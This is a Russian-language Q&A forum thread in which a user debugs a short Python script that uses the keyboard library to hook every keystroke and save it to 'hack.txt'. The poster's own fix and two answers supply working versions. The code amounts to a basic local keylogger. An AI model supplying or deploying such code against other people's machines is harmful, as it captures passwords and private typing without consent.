@Fox7777
вот код:
import keyboard
save = open('hack.txt', 'w')
def print_pressed_keys(e):
save.write(str(e) + ' ' + str(e.name))
save.close()
keyboard.hook(print_pressed_keys)
keyboard.wait()
вот ошибка:
Traceback (most recent call last):
File "C:UsersAdminPycharmProjectspythonProject1venvlibsite-packageskeyboard_generic.py", line 22, in invoke_handlers
if handler(event):
File "D:/programmer/123/main.py", line 8, in print_pressed_keys
save.write(str(e) + ' ' + str(e.name))
ValueError: I/O operation on closed file.
Если вы нашли ошибку, попрошу скинуть код с исправлением ошибки. Я тупая башка, не понимаю)
Решения вопроса 1
@Fox7777
Кароче, сам решил, всё работает :
import keyboard
def print_pressed_keys(e):
save = open('hack.txt', 'a')
save.write(str(e) + ' ' + str(e.name)+"n")
keyboard.hook(print_pressed_keys)
keyboard.wait()
Комментировать
Ответы на вопрос 2
@0ralo
У вас файл закрывается перед записью, уберите
save.close()
@pythonMyLife
Тут проще будет использовать менеджер контекста with/as:
import keyboard
def print_pressed_keys (file):
def wraps (e):
file.write (str (e) + ' ' + str (e.name))
return wraps
with open ('hack.txt', 'w') as file:
keyboard.hook(print_pressed_keys (file))
keyboard.wait()
Если нужно обьяснение происходящего, напиши в комментах (просто лень писать напрасно если не надо)